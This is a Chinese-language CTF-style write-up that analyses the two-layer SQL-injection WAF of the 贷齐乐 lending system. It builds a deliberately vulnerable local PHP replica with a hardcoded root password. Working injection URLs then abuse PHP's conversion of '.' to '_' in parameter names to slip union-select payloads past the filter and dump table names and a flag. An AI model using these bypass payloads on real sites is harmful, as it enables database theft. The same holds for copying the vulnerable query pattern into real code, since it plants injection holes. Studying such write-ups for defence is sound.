贷齐乐的两层WAF
第一层WAF:
class sqlin { function dowith_sql($str) { $check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str); if($check) { echo "非法字符!"; exit(); } $newstr=""; while($newstr!=$str){ $newstr=$str; $str = str_replace("script", "", $str); $str = str_replace("execute", "", $str); $str = str_replace("update", "", $str); //$str = str_replace("count", "", $str); //注释掉对count的过滤,不然account这样的参数会被截断 $str = str_replace("master", "", $str); $str = str_replace("truncate", "", $str); $str = str_replace("declare", "", $str); $str = str_replace("select", "", $str); $str = str_replace("create", "", $str); $str = str_replace("delete", "", $str); $str = str_replace("insert", "", $str); $str = str_replace("\'", "", $str); } return $str; }
包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,这是第一个WAF防御。
//aticle()防SQL注入函数//php教程 function sqlin() { foreach ($_GET as $key => $value) { if ($key != "content"&&strstr($key, "password") == false) { $_GET[$key] = $this->dowith_sql($value); } } foreach ($_POST as $key => $value) { //echo $key."|".(strpos($key, "password") == false); [email protected]_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND); if ($key != "content"&&strstr($key, "password") == false) { $_POST[$key] = $this->dowith_sql($value); } } foreach ($_REQUEST as $key => $value) { //echo $key."|".(strpos($key, "password") == false); if ($key != "content"&&strstr($key, "password") == false) { $_REQUEST[$key] = $this->dowith_sql($value); } } } }
将GET获取到的所有值来进行判断是否含还有password,如果没有,那么就执行第一层WAF来进行检测,GET传参不行,单引号也是闭合不了的。第二段则是将POST也进行了循环,然后进行过滤,执行第一层WAF,第三段则是REQUEST同样是进行循环然后过滤掉了。
第二层WAF:
/* 检查和转义字符 */ function safe_str($str){ if(!get_magic_quotes_gpc()) { if( is_array($str) ) { foreach($str as $key => $value) { $str[$key] = safe_str($value); } }else{ $str = addslashes($str); } } return $str; }
这里我们可以看到里面首先进行了魔术开关的判断,然后就是判断是不是数组,如果是数组,那么循环进行safe_str
函数循环判断,如果不是数组,那么直接执行addslashes
进行过滤。
function dhtmlspecialchars($string) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } } else { $string = str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string); if(strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string); } } return $string; } foreach ($_GET as $key => $value) { $_GET[$key] = safe_str($value); $_GET[$key] = dhtmlspecialchars($value); } foreach ($_POST as $key => $value) { $_POST[$key] = safe_str($value); $_GET[$key] = dhtmlspecialchars($value); } foreach ($_REQUEST as $key => $value) { $_REQUEST[$key] = safe_str($value); $_REQUEST[$key] = dhtmlspecialchars($value); } foreach ($_COOKIE as $key => $value) { $_COOKIE[$key] = safe_str($value); $_GET[$key] = dhtmlspecialchars($value); }
这个函数关键点在于括号替换了,替换为中文的括号,剩下的便是双引号等等字符被转义,这里我们报错注入直接用不了了。剩下的便是GET、POST、REQUEST、COOKIE
传参方式全部进入这两个函数进行过滤,从而达到防御的效果,这里我们不能写闭合,不能写括号,这里我们再注入已经几乎没办法进行注入了。所以我们想要完成注入,肯定就必须绕过这两个WAF。
如何绕过贷齐乐的两层WAF
一、模拟源码
<?php header("Content-type: text/html; charset=utf-8"); require 'db.inc.php'; function dhtmlspecialchars($string) { if (is_array($string)) { foreach ($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } } else { $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string); if (strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string); } } return $string; } function dowith_sql($str) { $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str); if ($check) { echo "非法字符!"; exit(); } return $str; } //经过第一道WAF处理 foreach ($_REQUEST as $key => $value) { $_REQUEST[$key] = dowith_sql($value); } // 经过第二个WAF处理 $request_uri = explode("?", $_SERVER['REQUEST_URI']); if (isset($request_uri[1])) { $rewrite_url = explode("&", $request_uri[1]); foreach ($rewrite_url as $key => $value) { $_value = explode("=", $value); if (isset($_value[1])) { $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])); } } } // 业务处理 if (isset($_REQUEST['submit'])) { $user_id = $_REQUEST['i_d']; $sql = "select * from ctf.users where id=$user_id"; $result = mysql_query($sql); while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "</tr>"; } } ?>
2、连接数据库源码
<?php $mysql_server_name="localhost"; $mysql_database="ctf"; /** 数据库的名称 */ $mysql_username="root"; /** MySQL数据库用户名 */ $mysql_password="123456"; /** MySQL数据库密码 */ $conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8'); ?>
3、数据库创建
这里我们需要自己创建数据库以及表名,首先我们创建数据库:
CREATE DATABASE ctf;
创建表名:
CREATE TABLE `users` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `pass` varchar(255) DEFAULT NULL, `flag` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
添加数据(flag):
INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');
以上就是创建数据库、表以及数据的操作,最终即可看到:
二、测试
传入1以及单引号给id,即可看到回显结果显示非法字符:
http://127.0.0.1/daiqile/index.php/?id=1'
三、注入思路
我们从第二道WAF那看不到什么大的问题,但是如果我们结合第一道WAF就可以看到第二道WAF其实就是第一道WAF执行完之后进行执行的。
所以,我们得思考下如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。
既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。让第一道WAF检测不到恶意字符的思路便是,在第一道WAF进行检测时,检测为2,但是在覆盖REQUEST时候使它最终拿到1便可完成第一道WAF的绕过。
PHP下划线特性这里我们需要了解PHP的一个小特性,那就是自身在进行解析的时候,如果参数中含有” “、”.”、”[“这几个字符,那么会将他们转换为下划线。
所以我们可以利用这个特性,让第一道WAF解析一个正常的参数,第二道WAF来解析另一个恶意字符的参数从而完成覆盖注入。
四、进行实验
1、测试回显字段
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
2、爆出库名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
3、爆出表名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
4、爆出flag
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1